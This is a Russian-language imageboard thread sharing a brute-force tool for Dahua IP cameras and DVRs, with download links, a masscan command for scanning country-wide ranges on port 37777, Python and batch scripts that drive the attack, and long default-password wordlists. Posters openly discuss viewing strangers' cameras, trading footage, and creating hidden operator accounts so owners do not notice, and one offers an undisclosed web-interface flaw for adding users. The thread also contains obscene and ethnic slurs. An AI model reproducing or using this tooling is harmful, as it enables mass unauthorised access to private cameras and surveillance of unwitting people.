Собрано из SDK DAHUA Берем список своих камер - IP

Собрано из SDK DAHUA

Берем список своих камер - IP на порту 37777

Использовать только на своем регистраторе. Я не несу ответственность за Ваши действия. Делал под прошлый новый год. Сейчас мне это не нужно. Так как конченные педрилы продают личные данные людей, пользутесь наздоровье бесплатно.

ip.txt - вводится список Ip
login.txt - логины
password.txt - пароли

Иснтрукция - запускаем

IP_Split_4.bat
IP_Split_10.bat
IP_Split_20.bat

Это режет список IP на куски

Потом запускает одно на выбор
Scan_4_thread.bat - 4 потока
Scan_10_thread.bat - 10 потоков
Scan_20_thread.bat - 20 потоков

Из моей практики больше поток уже нет смысла даже на оптике, камеры не успевают отдавать кадры.

http://www114.zippyshare.com/v/r8NxS6P9/file.html
https://www.sendspace.com/file/enfjci

https://www.virustotal.com/ru/file/c36e87df5ab22f697718681ce2005ccdefcde985186d7bc2c4fcb2afc8006495/analysis/1512249449/

ДЕлал для себя, так что берите как есть.

В папке sdk_log - лог работы

Делал на коленке за 30 минут, тогда мне это было нужно. Моя цель - была бысро просканировать свои сети перед новым годом.

США 4 миллиона камер.
Россия тысяч 150
Украина тысяч 70
Бразилия 2 миллиона
Китай больше 6 миллионов

Открывается 90% камер

http://rgho.st/6J946GYKk

Помните - Virustotal должен выдавать 100% чистый результат.

Если Вам предлагают, что подозрительное - проверяйте на VirusTotal

https://files.fm/u/2nt44ndd
https://ufile.io/mbacf

http://dropmefiles.com/LGiCl
https://expirebox.com/download/481dd6ae6003983366ad03d480887495.html

Смотреть камеры через

http://www.dahuasecurity.com/download_detail_6081.html

http://www.dahuasecurity.com/download_2.html

Project Name SmartPSS
Version V2.02.0
Base Platform V2.01.0
Operation Platform Microsoft Windows XP/Windows 7/Windows 8/Windows 10(32/64 bit)
Language English, Chinese

masscan --ports 37777 -iL IPrange.txt --rate=2000 -oX myscan_Dahua.xml

#!/usr/bin/env python
# coding: utf-8

from __future__ import print_function
import os
import sys
from collections import defaultdict as ddict
try:
from defusedxml.ElementTree import parse
except ImportError:
print("defusedxml not found, downgrading to builtin XML parsing library.")
from xml.etree.ElementTree import parse

if sys.argv[1] is None:
raise SystemExit("need a file to convert")
if not os.path.exists(sys.argv[1]):
raise SystemExit("File {} does not exist".format(sys.argv[1]))

# keep file name, to use for outputs
name = os.path.splitext(sys.argv[1])[0]

# parse file, extract hosts, map by open port found
et = parse(sys.argv[1])
et.findall('host')
xhosts = et.findall('host')
portmap = ddict(list)
for xhost in xhosts:
_hostaddr = xhost.getchildren()[0].items()[1][1]
_port = xhost.getchildren()[1].getchildren()[0].items()[1][1]
portmap[_port].append(_hostaddr)

# dump to files corresponding to each port name
for port, hosts in portmap.iteritems():
outname = '{}-port{}.list'.format(name, port)
with open(outname, 'w') as ofd:
for host in hosts:
ofd.write('{}\n'.format(host))
print("wrote {}".format(outname))

#!/bin/bash
for file in *.xml
do
# do something on "$file"
masscan_convert.py "$file"
done

@ECHO OFF
cls
setlocal EnableDelayedExpansion
pushd %~dp0
copy *.list other.list

@ECHO OFF
cls
setlocal enableextensions enabledelayedexpansion
set "sourcedir=%cd%"
for f in (%sourcedir%\CountryIP\list\.list) do (
set ARG=~nxf
rename "f" !ARG: =!
)
for f in (%sourcedir%\CountryIP\list\.list) do (
md %sourcedir%\images\~nf\admin
md %sourcedir%\images\~nf\666666
md %sourcedir%\images\~nf\888888
md %sourcedir%\images\~nf\other
copy %sourcedir%\Bruter\. %sourcedir%\images\~nf\admin\.
del %sourcedir%\images\~nf\admin\file.txt
del %sourcedir%\images\~nf\admin\ip.txt
copy f %sourcedir%\images\~nf\admin\ip.txt
start /wait /min %sourcedir%\images\~nf\admin\IP_Split_20.bat ^&^& exit

copy %sourcedir%\images\~nf\admin\. %sourcedir%\images\~nf\666666\.
del %sourcedir%\images\~nf\666666\login.txt
del %sourcedir%\images\~nf\666666\password.txt
copy %sourcedir%\images\~nf\666666\login666666.txt %sourcedir%\images\~nf\666666\login.txt
copy %sourcedir%\images\~nf\666666\password666666.txt %sourcedir%\images\~nf\666666\password.txt

copy %sourcedir%\images\~nf\admin\. %sourcedir%\images\~nf\888888\.
del %sourcedir%\images\~nf\888888\login.txt
del %sourcedir%\images\~nf\888888\password.txt
copy %sourcedir%\images\~nf\888888\login888888.txt %sourcedir%\images\~nf\888888\login.txt
copy %sourcedir%\images\~nf\888888\password888888.txt %sourcedir%\images\~nf\888888\password.txt

copy %sourcedir%\images\~nf\admin\. %sourcedir%\images\~nf\other\.*
del %sourcedir%\images\~nf\other\password.txt
copy %sourcedir%\images\~nf\other\passwordother.txt %sourcedir%\images\%%~nf\other\password.txt
)

Запустить одно на выбор

IP_Split_4.bat
IP_Split_10.bat
IP_Split_20.bat

Счастливого вам нового года

Увы брутер под Sharp, CCTV и Logitech подогнать не могу.

Рекомендую посмотреть арабские эмираты и турцию. там мужики в жопу и рот только ебутся, есть конюшня где арабы ебут осликов и многое другое.

В Дагестане курят траву менты прямо в отделении полиции.
Кстати в дагестане очень много религиозных террористов, так что если будете лазить в камеры - будьте в курсе, что можете попасть в камеру, которую пасут менты и прочие дяди.

Ваш #ТоварищМайор

Кстати у Хохлов почти вся таможня и менты сидят в Дахуях с одним из 6 стандартных паролей.

123456
123456789
12345678
1234567890
1234567
123123
987654321
123321
654321
54321
12345
1111
666666
888888
111111
7777777
555555
1q2w3e
1q2w3e4r
1q2w3e4r5t
123qwe
zxcvbnm
qwerty

Основной список паролей

12345
123456
1234567
12345678
admin
administrator
root
12346
123456789abc
admin12345
admin1
123456789
888888
54321
qazwsx
super
user
admin123
user1
654321
1234567890
112233
nimda
123123
operator
123qwe
Pa$$w0rd
qwerty
ubnt
060788
080373
102005
11220
11223344
121172
1234512345
123451
12345678a
12354
1979
1980
1982
1991
1q2w3e4r
1q2w3e
1qaz2wsx
210900
28041990
55555
7654321
789456123
789456
maksim
q1w2e3r4
qwer1234
1978
123321
2008
P@ssw0rd
77777
19751975
1974
1984
12345qwert
gfhjkm
7777777
qwerty123
123789
123098
password
login
qwertyuiop
passw0rd
1234554321
010203
353535
13121987
525525
110403
2580
qwerty123456
1111
1234
2222
3333
4444
5555
6666
7777
8888
9999
0000
4321
3477
5897
12341
12341234
44444
11111
111111
1111111
11111111
22222222
33333333
44444444
55555555
66666666
77777777
88888888
99999999
00000000
0000000
000000
00000
000
00
0
09090
7772000
666666
24343
111
123
12
11
1
2
3
4
5
6
7
8
9
aa
dvr2580222
abc123
pass
password
vizxv
7ujMko0

Не забываем, что только для своих камер для проверки безопасности. Я не призываю вас смотреть чужие камеры. все ваши действия на Ваш страх и риск.

MD5 контрольная сумма DahuaBruter.exe

683929C54262825AC7C68C44D0A39242

Algorithm : SHA256
Hash : E1B03552504DCA5780FF4D3DAD181729F3AB8A66DA98F615E6C075A6FFB18AEE

Если будете менять пароль на основного админа - то реальный админ не сможет зайти. он выключит камеру и поменяет пароль.

Поэтому создавайте пользователя - оператор или юзер и делайте с ним что хотите, при 5 неудачных попытках - почти любая камера (регистратор) Дауха (алхуя. рви и т.д.) вас заблочит по по IP и отключит на 24 выход в интернет с самой камеры, если будет 3 таких неудачных попытки подключиться в течении 7 дней, новые камеры отключают вообще внешний выход в сеть из камеры и у админа будет всплывающее окно посередине программного обеспечения. что отключен доступ из вне и надо поменят пароли или обновить фирмваре.

http://prntscr.com/hiasqq
http://prntscr.com/hiatv4

Поменяюсь, есть куча камер
videowmod @ маил.ru, шлите свои скрины

>>108467
Смысл? Если каждый может за сутки просканить любую страну. тут только по США 4 мллиона, из них тысяч 15 ебли

>>108467
>videowmod
Даже не знаю, что есть у тебя, чего нет у меня или я не могу найти.

У тебя есть камера из Грозного, как Кадыров сосет хуй у чеченцев по кругу?

Если есть. Пиши.

Товарищи, помните, сканируя и подключаясь вы можете попасть в камеры гос.учреждений.

Потом уже плакать будет поздно. Не повторяйте ошибки брутера для ХикВижн.

Барыг, продающих камеры или брутеры - шлите нахуй.

MD5 683929c54262825ac7c68c44d0a39242
SHA1 17ffa20ecf1086e1e15d0c7edce46f15f2c2b813
SHA256 e1b03552504dca5780ff4d3dad181729f3ab8a66da98f615e6c075a6ffb18aee
ssdeep384:NF4Fg/IxOAXEFHni13oUC61lybe4jntZ0AMg61EZuFWnU4B5txJi0D4lK2FIQ:NF4Zx3XIi04h6T5txJL49WQ
authentihash ba2b4838e5259b78ec08aa75200b167ffda2ba271690d69d037e6f3a45b4ed67
imphash f34d5f2d4577ed6d9ceec516c1f5a744
Размер файла 28.5 KБ ( 29184 bytes )
Тип файла Win32 EXE
ОписаниеPE32 executable for MS Windows (console) Intel 80386 Mono/.Net assembly
TrID\tGeneric CIL Executable (.NET, Mono, etc.) (82.9%)
Win32 Dynamic Link Library (generic) (7.4%)
Win32 Executable (generic) (5.1%)
Generic Win/DOS Executable (2.2%)
DOS Executable Generic (2.2%)

>>108469
пиздеж

>>108475
С моим брутером, утром школьники снесут все твои камеры и ты не сможешь больше продавать по 300 рублей айпишники.

>>108476
С чего ты вообще взял что я что-то продаю?

Анон, а как ты скрины делашь? Читал док. SDK. Там пишут про callback функцию. Вся сделал как написанно но если не ставить sleep в одну секунду между каждым запросам то в эту callback функцию даже не заходит.

>>108424 (OP)
Помогите,

Выдает ошибку - "Прекращена работа программы"

Windows 7

>>108483
Дополняю ошибку

Необработанное исключение: System.BadImageFormatException: Была сделана попытка
загрузить программу, имеющую неверный формат. (Исключение из HRESULT: 0x8007000B
)

>>108471
>Не повторяйте ошибки брутера для ХикВижн.
>
Нука... расскажи)

>>108483
Windows 10 полет нормальный.
Поставь Net.framework c 2.0 до 4.6

Не помню под какой собирал

>>108483
Или даже поставь все библиотеки С++

Microsoft Visual C++ 2005-2008-2010-2012-2013-2017 Hybrid x86.x64_10.03.2017

Я даже не помню на чем собирал на C++ или C#

Вот исходник

https://pastebin.com/m70PK3UX

>>108478
У меня не было времени играться, я взял готовый проект демо из SDK быстро на коленках пересобрал под свои нужды и все.

В зависимости от версии SDK твое приложение может не соответствовать докам.

Перекатываюсь в Logitech, благо брутер под него минимум года два никто публиковать не будет. Плачевно, что на этом форуме только сейчас увидили Дахуа, когда еще с 2014 их брутят и ломают только так. Рунет реально деградировал, в ИТ реально могут только китайцы и индусы.

>>108493
>брутер под него минимум года два никто публиковать не будет
вот это ты совершенно безосновательно пизданул

>>108494
Опубликуй брутер для Логитек веб-камер

слабо?

>>108494
Как показывает практика русскоязычные пользователи интернета получают брутер для Даухи спустя 2-3 года, от остального мира, чиста с баркской руки, когда тема изжила себя для нормальных людей.

Думаю, ты настолько тупой, что даже не можешь установить Linux, а про Metasploit я даже говорить тебе не хочу. Спорить с ребенком из рунета, нет смысла.

>>108497
Лол, в интернете все тупые, а ты один умный. Ну, не буду тебя разубеждать.

>>108498
Эта жи илитный хахол-хэккер, давно тут обитает. Не обращай внимание.

>>108515
>>108498

Но бруте для дохуи беслпатно и без смс опубликовал я, а не твоя мамаща - шлюха.

Лол, эти пидорашки рвутся на пустом месте в бессильной злобе.

Воистину руснявые самые конченные люди - даешь людям готовый редкий софт, в ответ слышишь бред, уровня /b/.

Ясно-понятно, вы реально заслуживаете того, что с вами делает роспотребнадзор.

>>108498
Иди callback делай, или даже спршивай как делать, чтобы картинку тебе Дахуя вернула.

Блять, жалко мне вас, ни мозгов, ни будущего, так и сдохните в своей параше.

>>108518
Да за такое говно тебе только на ебло нассать, быдлокодер мамин, копипастер ебучий. Иди учи мат.часть, лучше бы я не видел этот ужас...

>>108742
Но ты им блядина ползуешься.

А знаешь почему? Потому что бесплатно и работает. Или нет, ты не тот, пидарок, который продает ДахуяБрутер++ за 3500 рублей ? Который делает тоже самое?

Выссал вам на ебло, как смачно.

>>108767
Подачки говнарей на сосаче вроде тебя не собираю, мне интересна только техническая сторона софта. Тот кто продает мой же софт, реально пидарас.
А весь софт по камерам я пишу сам.
Оттачиваю чистый Си.

>>108864
Что качается DahuaBrute++ написан С#, многопроцессорность не путать с (Threads) реализована на python. Сейчас перекатываю его на чистый Си, но уперся в 0x800000004 (NET_INVALID_HANDLE) с шарпом, все пролетает на ура, Си что то не нравится.

Так какой версии фреймворк и редисты нужны? Не могу запустить на семерке. Под 64 битную винду собиралось или можно и на 32?

>>108865
CLIENT_LoginEx2 возвращает LLONG. Если твоя переманная меньше то твой хандлер будет неправельным



LLONG userId = CLIENT_LoginEx2(const_cast<char>(ip.c_str()), port, const_cast<char>(login.c_str()), const_cast<char*>(password.c_str()), EM_LOGIN_SPEC_CAP_TCP, NULL, &struDeviceInfo, &nError);

>>108970
Это элементарные вещи, естественно моя переменная имеет тип LLONG и тут все проходит гладко, я получаю коннект, через NET_DEVICEINFO получаю все инфу о камере, но потом CLIENT_SnapPicture, возврат 0x800000004.

>>108971
Так едниственный раз где ты используешь хандл это в
CLIENT_SnapPicture(userId,stuSnapParams)

просто принтни значение твоей перемнной. Мне кажется в этом твоя проблема

>>108973
Дело не в этом, возвращает все норм ID устройства.
Дело походу в разрядности системы, х64 - выкидывает 0x800000004 (NET_INVALID_HANDLE),
х32 - выкидывает log4cplus Error.

>>108864
> Тот кто продает мой же софт, реально пидарас.

И тут ты запизделся, уебыш. А вначале кукарекал, что не продаешь свой гавнософт.

Просто у тебя жопа загорелась, что я бесплатно вылажил, то, что делал на коленках год назад, и дал людям 100% работающий костыль в многопотоков, где все работает.

И бизнес твой пошел по пизде. Желаю тебе, чтоб тебя накрыли за твой мини-бизнес, по полной программе.

И как всегда поссал тебе в ебуч :)

>>108864
>реально пидарас.
Самое смешное, что ты настолько тупое животное, что вкатился в Дахуя, только сейчас.

Когда все уже перекатились на Веб-камеры.

ЖЕлаю тебе сдохнуть от передоза желчи, что у тебя нет брутера Logitech

Отлично отлили тебе в ебуч.

>>109031
>>109032
Ты адресом ошиблась Маня!
Так что забирай свою рыготину обратно.

Не знаю кому твоя рыготина предназначалась, но словарь орфографический тебе в помощь - программист ахахахахахахаах)))

>>109037
>Маня
Тебе больше 16 лет, точно? Ты такое смешное животное, хоть еще и маленькое.

26 лет, безработный,куча свободного времени.Отсортирую ваши скриншоты.Взамен видео,или ip камеры[email protected] telegram @HEUDA4HIK

When I try to run DahuaBruter it gives me error and closes program. WHY??? I am running Windows 10 Pro 64bit

>>109510
ok its me from this post. when i try to run any of the IP_Split files it just opens a cmd promt and nothing happens. I let it run for 3 hours and nothing happen????

vk.com/sllwllc

Привет аноны.

Нашёл уязвимость на некоторых прошивок дахуа. Через веб интерфейс могу подключитьса скриптом и добавить юзера. Пока скрины не знаю как делать, да ещё веб интерфейсы у них обычно на разные нестандартные порта.

Если у когонибудь есть хорошая годнота которая пропала потому что сменили пароль могу попробовать добавить юзера. шлите ИП на [email protected]

>>109604
>Нашёл уязвимость на некоторых прошивок
С этого места поподробней

>>109612
Отправь на мыло чтонибудь годное, Побробую добовить юзера. Если получется обьесню

>>108984
Все расковырял на Си, дописываю и привожу в порядок, SnapRev в callback переписал полностью на свой. И как я понял очень чуткие камерки или разработчики не заморачивались, без Sleep() никуда.
>>109230
Просто иди на хуй Маня... меня выворачивает от диалога с тобой!

>>109614
Разводила, ничего не отправляйте, пиздит как дышит, а дышит часто.

>>109686
>Маня
>SnapRev в callback переписал полностью на свой

Чмо, почему ты за год не можешь написать брутер? Дебил, ты вообще знаешь, что кроме брута есть еще эксплоиты под Метасплоит?

Вообще ты меня веселишь. Скажи честно, вот ты написал брутер и продаешь его таким же опущам как и ты, но твоя реальность - это хрущевка с мамкой.

Я вот думаю, опускаться ли мне до твоего уровня, например отписать в суппорт WMT вебмани - что ты продаешь софт для взлома персональных данных и шантажа?

Понимаешь, животное, мне нравится что ты дебил, это нормально.

И почему до сих пор в треде нет твоего бесплатного софта со всеми возможностями?

>>109686
Давай, олень, скинь свой софт без регистрации и смс и мы заценим его.

Ой, да ты же конченный даун. У тебя никакого софта.

is it possible to force it to open "screenshots" in another folder?

Антош, как пофиксить такую ошибку при включении архива на некоторых камерах? Пиздец, столько годноты мимо проходит из-за невозможности включить записи из архива.

>>110269
фэйкопочту сюда кинь [email protected]
объясню

>>110269
поставь другую версию клиента smartpss

2.xxx - или 1.xxx

Одновременно нельзя.

Скачивай можно не нажимая на линию времени, а выбирая сбоку - куски и кнопку - скачать

в третьих увеличь временну ленту, ты нажимаешь в пустоту

>>10можно подробнее инструкцию по пользованию

>>108425
у меня вот такую ошибку выдает, что делать подскажите?

Есть здесь кто живой???

>>110559
Возможно

НУ ПОМОГИТЕ КТО НИБУДЬ, ПОЧЕМУ У МЕНЯ ЭТА ОШИБКА ВЫЛАЗИТ???

>>110610
Путин, убери русские символы в пути к файлам, может поможет. У меня помогло.

объясните тупому..забил ip, запустил 10 потоков..лог ебашит. где искать залогенные камеры ? в логе? или скрины должны падать? и ip брать диапазоном или уже готовые на 37777 порту?

>>112428
Лаймер

[email protected] change камерами

где вы все находите , я 3 день сижу - годноты 0